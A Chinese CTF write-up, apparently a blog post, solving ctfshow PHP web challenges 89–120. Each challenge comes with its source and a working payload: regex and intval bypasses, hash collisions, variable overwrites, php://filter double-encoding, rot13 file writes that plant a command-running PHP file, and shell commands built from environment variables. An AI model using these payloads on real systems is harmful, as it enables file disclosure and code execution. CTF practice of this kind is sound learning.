0x01Web89-99PHP特性payload

Web89

include("flag.php");
highlight_file(__FILE__); if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
} //这里主要是对数字进行了过滤,并且又要GET请求传入的num变量为数字或数字串,关于preg_match()函数一个漏洞——>无法处理数组
Paylaod:?num[]=10

Web90

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
} //强比较+intval函数
Payload:?num=4476e

Web91

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
} //这里有有两个条件,第一个需要是php,第二个又不可以php,不过有个差距就是m模式,/m代表匹配多行数据,这里可以通过%0a进行绕过
Payload:?cmd=%0aphp

Web92

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
} //这里不能是4476,但是又要是4476,intval可以识别十六进制为十进制
Payload:?num=0x117c

Web93

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
} //ban掉了字母,但是可以用八进制绕过
Payload:?num=010574

Web94

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
} //不能以0开头了,这时候可以试试小数,intval只识别整数部分
Payload:?num=4476.0001

Web95

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
} //弱比较不可以是4476,然后是传入参数不可以存在大小写的26个字母和“.”,接着是不可以以0开头,最后结束匹配时需要4476,一开始的若比较,这里可以用010574(4476的八进制)绕过,直接到了strpos函数这里,这里不能以0开头,去看了看intval函数的发现最开头可以如果是+还是可以识别为原数
Payload:?num=+010574

Web96

highlight_file(__FILE__);

if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
} //题目有一丝丝的奇怪,不过不能以相对路径读的话,就以绝对路径读就可以了
Payload:?u=/var/www/html/flag.php
//或者也可以返回上一级然后再回来读取
Payload:?u=../html/flag.php

Web97

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
} //简单的md5碰撞,没啥好说的
Payload:
POST:a[]=1&b[]=2
POST:a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

Web98

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__); //考点:变量覆盖、三元运算符、&在php中的引用作用
//一开始不知道是什么意思,问了一下大师傅,他跟我说了一下三元运算符以及&的作用
//解释一下
//第一句的意思是如果存在GET请求则引用POST请求的内容
//接下来两句好像没啥用,不过为了保险,还是直接还是把flag=xx
//最关键的就是HTTP_FALG=flag,这样才就能回显flag了
//尝试了一下发现第一句存在变量覆盖的效果,所以GET请求不管给什么东西都会被POST请求覆盖掉
Payload:GET:?xxx POST:flag=xx&HTTP_FLAG=flag

Web99

highlight_file(__FILE__);
$allow = array();
for ($i=0; $i < 0x36d; $i++) {
array_push($allow, rand(0,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
} ?> //array_push()函数向allow数组的尾部添加一个元素,该元素由rand()函数返回一个随机数
//传入的参数中要有allow数组中的数字,然后是一个文件包含
//文件包含可以用php://filter伪协议,可以使用base64或者rot13,这样包含了数字
Payload:?n=php://filter/write=string%.rot13/resource=sh.php POST:content=<?cuc flfgrz("gnp *.cuc");?>

Web101

找个时间补

Web102

与103相同

Web103

[https://www.cnblogs.com/erR0Ratao/p/13731541.html

Web104

<?php

/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 22:27:20 */ highlight_file(__FILE__);
include("flag.php"); if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}
?> //由题可知,只需要v1的sha1的值等于v2的sha1值,即可获得flag
//百度查一下sha1碰撞
//这里是弱比较,所以作用就是sha1后为'0e'开头
Payload:
GET:?v2=aaroZmOk
POST:v1=aaK1STfY

Web105

<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 22:34:07
*/
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
?> //一道变量覆盖的题目,由$$key=$$value确定,意思就是$key的内容作为变量,例如:$key=xx,$$key=$xx
//GET请求的时候不能出现error,但是这里给了另外一个变量$suces,我们可以将$flag值赋给$suces
//POST请求的时候不能出现flag,但是我们第一步已经把值赋给$suces了,所以这里不用出现$flag,只需要$suces把值赋给$error
//最后再判断flag是否等于$flag,让flag!=$flag,输出$error即可
Payload:
GET:?suces=flag
POST:error=suces

Web106

<?php
/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 22:38:27 */
highlight_file(__FILE__);
include("flag.php"); if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}
?> //之前那题没认真审题,都不需要sha1碰撞,这里才需要,直接看Web104即可

Web107

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 23:24:14
*/
highlight_file(__FILE__);
error_reporting(0);
include("flag.php"); if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
} }
?> //这里有个parse_str()的函数,百度了一下语法
//parse_str(string,array) 函数在string中查询字符串解析到array数组变量中
//后面的那个md5就简单了
Payload:
GET:?v3=240610708
POST:v1=flag=0e462097431906509019562988736854

Web108

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 23:53:55 */
highlight_file(__FILE__);
error_reporting(0);
include("flag.php"); if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}
?> //ereg函数存在一个明显的漏洞:%00截断
//strrev反转字符串
Payload:?c=xx%00778

Web111

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-30 02:41:40 */
highlight_file(__FILE__);
error_reporting(0);
include("flag.php"); function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
} if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2']; if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
} if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
}
?> //前两个正则匹配过滤了许多的字符,但是没过滤大小写字母
//第三个正则需要$v1为ctfshow
//进行了一个自定义函数,这里eval("$$v1=&$$v2")等于eval("$ctfshow=&$$v2"),最后打印出来,已知最后是用var_dump而不是echo,可以使用数组输出的,所以这里可以让$ctfshow=&$GLOBALS
//通过利用超全局变量将所有可用的变量都打印出来
Payload:?v1=ctfshow&v2=GLOBALS

Web112

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-30 23:47:49 */ highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
} //这里对php://filter伪协议的加密过程进行了过滤,但是使用伪协议的过滤器时会先进行一次url编码,所以这里可以用二次编码绕过过滤,题目类似WMCTF2020的checkin
Payload:?file=php://filter/read=convert.%2562ase64-encode/resource=flag.php

Web116

打开后是一个视频,先保存下来,使用binwalk查看,发现存在一个png的图片,然后截下来查看一下,发现是源码,过滤的内容和Web112差不多,可以直接用二次绕过进行。Payload:?file=php://filter/read=convert.%2562ase64-encode/resource=flag.php,这里的格式为mp4,直接访问是没有的,可以通过抓包获取base64的编码

Web117

<?php
/*
# -*- coding: utf-8 -*-
# @Author: yu22x
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-01 18:16:59
*/
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents); //正则匹配了了一些过滤器,不过可以使用二次编码绕过,这里添加了<?php die();?>,如果不进行修改的话就会无效了,这里可以用通过rot13让它失效
Payload:
GET:?file=php://filter/write=%2573tring.%2572ot13/resource=sh.php
POST:contents=<?cuc flfgrz("gnp *.cuc");?>

Web118

F12有源码提示:,命令执行的题目

fuzz尝试了一下,可以使用大写字母和${}:?.~这些字符

${PATH}:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
${PWD}:/var/www/html 发现使用${PATH:~A}可以导出最后一个字符n;${PWD:~A}导出l,则构成nl命令
Payload:POST:code=${PATH:~A}${PWD:~A} ????.???

Web119

过滤了PATH变量,不能使用找不到可以替代的"n"了,开了一个最简单的命令执行的题目,使用env命令,查看一下可以使用的变量,有点差别的是这里使用的PHP版本是7.3.22

USER=www-data
PHPIZE_DEPS=autoconf dpkg-dev dpkg file g++ gcc libc-dev make pkgconf re2c
PHP_VERSION=7.3.22

找到了这几个变量可以构建出cat ????.???这样子,使用方式如下

echo ${PHPIZE_DEPS:~A}
//返回c
echo ${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}}
//返回at Payload:${PHPIZE_DEPS:~A}${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}} ????.???

Web120

上面的Payload并没有被过滤到,不过长度受限了,要小于65,上面的Payload长度为70,这里可以使用SHLVL变量替代PHP_VERSION变量,这样就可以绕过了

Payload:POST:code=${PHPIZE_DEPS:~A}${USER:~${SHLVL:~A}:${SHLVL:~A}} ????.???

本文作者:erR0Ratao

本文链接:https://www.cnblogs.com/erR0Ratao/p/13693066.html

ctfshow之Web入门刷题记(从89开始,持续更新)的更多相关文章

  1. 关于CTFshow中Web入门42-54

    0x00前记 ​ 终于把学校上学期的期末考试考完了,刚好复习的时候跟着群里的师傅写了ctfshow上Web入门的42-54的题目,其中有很多的坑,但是收获也是很多的,这里做一下总结吧!给自己挖了很多的 ...

  2. web开发工具flask中文英文书籍-持续更新

    web开发工具flask中文英文书籍-持续更新 python测试开发_AI命理关注 0.9222018.11.10 07:48:43字数 625阅读 885 python测试开发项目实战-目录 pyt ...

  3. ctfshow的web入门171

    web入门171 看到这个查询语句,我们可以进行相关操作 $sql = "select username,password from user where username !='flag' ...

  4. bugku web所有writeup_超详细讲解_持续更新

    首先说一下我的主用工具,在windows下,主要是用这些,用到其他特定的工具会在题里说. 0.浏览器:火狐,配合Max hackbar插件 (这个是免费的) 1.抓包改包:burpsuite.http ...

  5. IntelliJ IDEA入门之常用配置以及问题解决(持续更新中)

    软件版本: IntelliJ IDEA 2019.1.1(Ultimate Edition) 运行环境: JDK1.8, Tomcat8.0, Maven3.6 我们在学习新的无论是jar包, 框架, ...

  6. LoadRunner从入门到实战学习路线(持续更新中...)

    写在前面        我是一个测试工程师,从土木工程行业转行到互联网行业,目前是工作的第三年.平时主要做功能测试,性能测试接触比较少,虽然以前培训的时候学习过一些性能相关的知识,但都是入门初级的知识 ...

  7. leetcode刷题全纪录(持续更新)

    2.Add Two Numbers 原题链接https://leetcode.com/problems/add-two-numbers/ AC解: public ListNode addTwoNumb ...

  8. 8、web入门回顾/ Http

    1 web入门回顾 web入门 1)web服务软件作用: 把本地资源共享给外部访问 2)tomcat服务器基本操作      : 启动:  %tomcat%/bin/startup.bat 关闭: % ...

  9. python web入门程序

    python2.x web入门程序 #!/usr/bin/python # -*- coding: UTF-8 -*- # 只在python2.x 有效 import os #Python的标准库中的 ...

随机推荐

  1. nginx安全:用limit_req_zone/limit_req限制连接速率(流量控制/限流)

    一,limit_req的用途: 1,官方文档地址: http://nginx.org/en/docs/http/ngx_http_limit_req_module.html 2,用途: 限制用户在给定 ...

  2. Centos定时备份 MySQL数据库

    一.编写数据库备份脚本 backupmysql.sh #!/bin/bash # Name:bakmysql.sh # This is a ShellScript For Auto DB Backup ...

  3. 第三十二章 Linux常规练习题(一)

    一.练习题一 1.超级用户(管理员用户)提示符是____,普通用户提示符是____.2.linux关机重启的命令有哪些 ?3.bash是什么?4.bash特性, 常见的bash特性有哪些?5.网卡的配 ...

  4. 懒人福音——GitHub 热点速览 Vol.42

    作者:HelloGitHub-小鱼干 懒人福音是什么?就是省时省事,正如 Waypoint 一样,你不需要在多个平台构建代码即可部署发布应用,它允许你将应用程序构建.部署和发布生命周期定义为代码.Bi ...

  5. C# / VB.NET 在PPT中创建、编辑PPT SmartArt图形

    本文介绍通过C#和VB.NET程序代码来创建和编辑PPT文档中的SmartArt图形.文中将分两个操作示例来演示创建和编辑结果. 使用工具:Spire.Presentation for .NET ho ...

  6. dubbo配置的覆盖关系

    dubbo推荐在Provider上尽量多配置Consumer端属性: 由服务提供方设置超时,因为一个方法需要执行多长时间,服务提供方更清楚,如果一个消费方同时引用多个服务,就不需要关心每个服务的参数设 ...

  7. IDEA出现Error Loading Project: Cannot load module xxx报错

    IDEA出现Error Loading Project: Cannot load module xxx报错,是因为IDEA不能找到模块xxx加载,应该是添加/新建了xxx模块,之后又删除了该模块,但没 ...

  8. Spring Boot 学习摘要--关于配置

    date: 2019-12-27 09:00:00 updated: 2019-12-30 13:20:00 Spring Boot 学习摘要--关于配置 学习教程来自:B站 尚硅谷 1. 关于配置 ...

  9. 使用TypeScript给Vue 3.0写一个指令实现组件拖拽

    最近在用vue3重构后台的一个功能.一个弹窗组件,弹出一个表单.然后点击提交. 早上运维突然跑过来问我,为啥弹窗挡住了下边的表格的数据,我添加的时候,都没法对照表格来看了.你必须给我解决一下. 我参考 ...

  10. Luogu P2536 [AHOI2005]病毒检测

    题意 给一个有通配符的模式串和 \(n\) 个文本串,其中 ? 可以匹配任意字符,* 可以匹配 \(0\) 或任意多个字符,求 \(n\) 个文本串中无法与模式串匹配的数量. \(\texttt{Da ...